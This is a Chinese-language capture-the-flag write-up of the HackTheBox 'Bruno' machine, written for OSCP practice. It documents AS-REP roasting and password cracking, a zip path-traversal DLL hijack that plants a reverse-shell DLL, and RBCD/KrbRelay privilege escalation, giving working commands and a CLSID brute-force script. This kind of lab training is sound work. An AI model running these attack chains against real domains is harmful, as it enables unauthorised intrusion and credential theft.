OSCP Bruno Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Bruno

靶场地址:

https://app.hackthebox.com/machines/Bruno

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

FTP 匿名访问 –> 得到 exe 程序以及系统 svc_scan 用户名 –> AS-Rep 攻击得到 svc_scan 用户密码 –> 逆向分析 exe 程序,劫持 Windows DLL 文件 –> 系统 svc_scan 用户权限 –> 用户旗帜

权限提升(获取管理员旗帜):

RBCD 攻击 –> 系统 system 权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

使用 nmap 对靶机进行端口扫描。

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
sudo nmap -p- 10.129.238.9 --min-rate=2000

PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49669/tcp open unknown
50237/tcp open unknown
50242/tcp open unknown
50380/tcp open unknown
54311/tcp open unknown
54313/tcp open unknown

UDP 端口扫描:未发现可利用的端口。

继续使用 nmap 对已开放端口的服务进行信息收集。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
sudo nmap -p21,53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,9389,49664,49668,49829,49830,65060,65093,65204 -sCV 10.129.238.9

PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 06-29-22 04:55PM <DIR> app
| 06-29-22 04:33PM <DIR> benign
| 06-29-22 01:41PM <DIR> malicious
|_10-31-25 03:40PM <DIR> queue
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-31 17:02:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
|_ssl-date: 2025-10-31T17:03:53+00:00; +1s from scanner time.
443/tcp open ssl/http Microsoft IIS httpd 10.0
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=bruno-BRUNODC-CA
| Not valid before: 2022-06-29T13:23:01
|_Not valid after: 2121-06-29T13:33:00
| http-methods:
|_ Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
|_http-title: IIS Windows Server
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
|_ssl-date: 2025-10-31T17:03:52+00:00; 0s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
|_ssl-date: 2025-10-31T17:03:52+00:00; 0s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
|_ssl-date: 2025-10-31T17:03:52+00:00; 0s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-10-31T17:03:52+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=brunodc.bruno.vl
| Not valid before: 2025-10-08T09:36:40
|_Not valid after: 2026-04-09T09:36:40
| rdp-ntlm-info:
| Target_Name: BRUNO
| NetBIOS_Domain_Name: BRUNO
| NetBIOS_Computer_Name: BRUNODC
| DNS_Domain_Name: bruno.vl
| DNS_Computer_Name: brunodc.bruno.vl
| DNS_Tree_Name: bruno.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-10-31T17:03:14+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
50237/tcp open msrpc Microsoft Windows RPC
50242/tcp open msrpc Microsoft Windows RPC
50380/tcp open msrpc Microsoft Windows RPC
54311/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
54313/tcp open msrpc Microsoft Windows RPC
Service Info: Host: BRUNODC; OS: Windows; CPE: cpe:/o:microsoft:windows

由此得出结论:

系统为 window 域环境,开放有 HTTP、FTP、WINRM 和 Windows 域控的一些默认服务。

域控信息:

1
2
3
4
# 域控域名
bruno.vl
# 域控KDC
brunodc.bruno.vl

3.2 渗透测试突破边界

3.2.1 AS-Rep 攻击得到 svc_scan 用户密码

利用 nxc 工具生成 hosts 和 krb5.conf 文件。

靶机 FTP 服务可进行匿名访问,将目录文件下载至本地。

在 changelog 和 SampleScanner.runtimeconfig.dev.json 文件中发现 svc_scan 和 xct 用户名。

使用 AS-Rep 攻击可得到 svc_scan 用户 NET-NTLM V2 认证包。

hashcat 破解得到 svc_scan 用户密码。

1
hashcat hash ~/Desktop/rockyou.txt --force

3.2.2 zip 目录穿越,Windows DLL 劫持得到系统 svc_scan 用户权限

通过 svc_scan 用户密码无法远程登录靶机,但该用户对 SMB 服务 queue 目录具有写入权限。

接下来需要反编译 SampleScanner.dll 文件,由于 OSCP 不涉及复杂的逆向工程,所以不在本文体现,重点学习攻击思路。

反编译可得到结论: 运行 SampleScanner.exe 程序后,会解压提取 queue 目录的 zip 文件,然后执行病毒扫描任务,由于 SampleScanner.exe 程序执行过程会调用 Microsoft.DiaSymReader.Native.amd64.dll 和 hostfxr.dll 文件,所以可尝试 DLL 文件劫持,当我们上传包含目录遍历的 zip 文件,程序执行解压操作时会自动进行目录穿越,进而写入我们预期的目录。

zip 目录遍历参考链接:

1
https://book.hacktricks.wiki/zh/pentesting-web/file-upload/index.html?highlight=zip#%E5%9C%A8%E4%B8%8D%E5%90%8C%E6%96%87%E4%BB%B6%E5%A4%B9%E8%A7%A3%E5%8E%8B

使用 msf 生成反弹 shell dll 文件,然后使用 evilarc 工具创建包含目录遍历的 zip 文件,使其可解压自动写入 app 目录,这样当程序运行时会自动加载我们上传的 dll 文件,从而实现 window dll 劫持。

1
https://github.com/ptoomey3/evilarc

使用 msf hanler 模块监听 2222 端口,然后在靶机 SMB 服务上传 zip 文件,即可得到 svc_scan 用户 shell。

3.2.3 用户旗帜获取

3.3 提权获取系统最高权限

3.3.1 RBCD 进行 KrbRelay 权限提升

后续的步骤 DC IP 会与之前的 IP 不一致,由于靶机环境问题,打靶过程多次重置靶机,所以导致 IP 会发生变化。

上传 winpeas,运行发现系统可能存在 KrbRelayUp 漏洞。

参考链接:

1
https://book.hacktricks.wiki/zh/windows-hardening/windows-local-privilege-escalation/index.html?highlight=KrbRelayUp#krbrelayup

使用 nxc 工具发现 svc_scan 用户可创建计算机对象,且没有限制 LDAP 签名,可尝试执行 RBCD 攻击。

方法一: 使用如下链接攻击步骤,手动尝试攻击。

1
https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9

首先通过 powerview 创建计算机对象,然后获取对象 sid。

1
2
3
powerview bruno.vl/svc_scan:'Sunshine1'@10.129.31.127
Add-DomainComputer -ComputerName f0nes -ComputerPass nihao@123
Get-DomainComputer -Identity f0ne

使用 KrbRelay.exe 发起攻击。

1
KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid $clsid -rbcd S-1-5-21-1536375944-4286418366-3447278137-5102 -port 10246

注意: 这里的 CLSID 需要手动爆破,可通过 juicy-potato 提供的脚本检索系统 CLSID。

1
https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1

执行脚本会在目录生成 Windows_Server_2022_Datacenter 目录,目录包含系统 CLSID,需手动测试可用的 CLSID。

手动测试前需要使用 CheckPort.exe 检索可用端口。

1
https://github.com/ryuke-acker/randomtests

通过脚本执行爆破,发现 {d99e6e74-fc88-11d0-b498-00a0c90312f3} 可成功利用。

1
2
3
4
5
6
7
8
9
$filePath = "C:\f0ne\Windows_Server_2022_Datacenter\CLSID.list"

Get-Content $filePath | ForEach-Object {
$clsid = $_ -replace '{', '' -replace '}', ''
$clsid = $clsid.Trim()

Write-Output "[###########] Testing ... $clsid [###########]"
& C:\f0ne\KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid $clsid -rbcd S-1-5-21-1536375944-4286418366-3447278137-5102 -port 10246
}

最终执行的命令:

1
.\KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5102 -port 10246

获取 TGS。

1
2
impacket-getST -spn host/brunodc.bruno.vl -impersonate Administrator bruno.vl/'f0nes$':'nihao@123'
export KRB5CCNAME=$PWD/Administrator@host_brunodc.bruno.vl@BRUNO.VL.ccache

使用 impacket-psexec 连接靶机,得到系统 system 权限。

方法二: 通过 KrbRelayUp 工具进行自动 rbcd 攻击,注意: 依然需要指定 CLSID,不指定端口程序会自动爆破。

1
KrbRelayUp.exe full -m rbcd -c -cn f0ne -cp nihao@123 -cls {d99e6e74-fc88-11d0-b498-00a0c90312f3} -p 10246

获取系统 TGS。

1
2
impacket-getST -spn host/brunodc.bruno.vl -impersonate Administrator -dc-ip 10.129.31.116 bruno.vl/'f0ne$':'nihao@123'
export KRB5CCNAME=$PWD/Administrator@host_brunodc.bruno.vl@BRUNO.VL.ccache

使用 impacket-psexec 连接靶机,得到系统 system 权限。

1
impacket-psexec -k -no-pass brunodc.bruno.vl

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨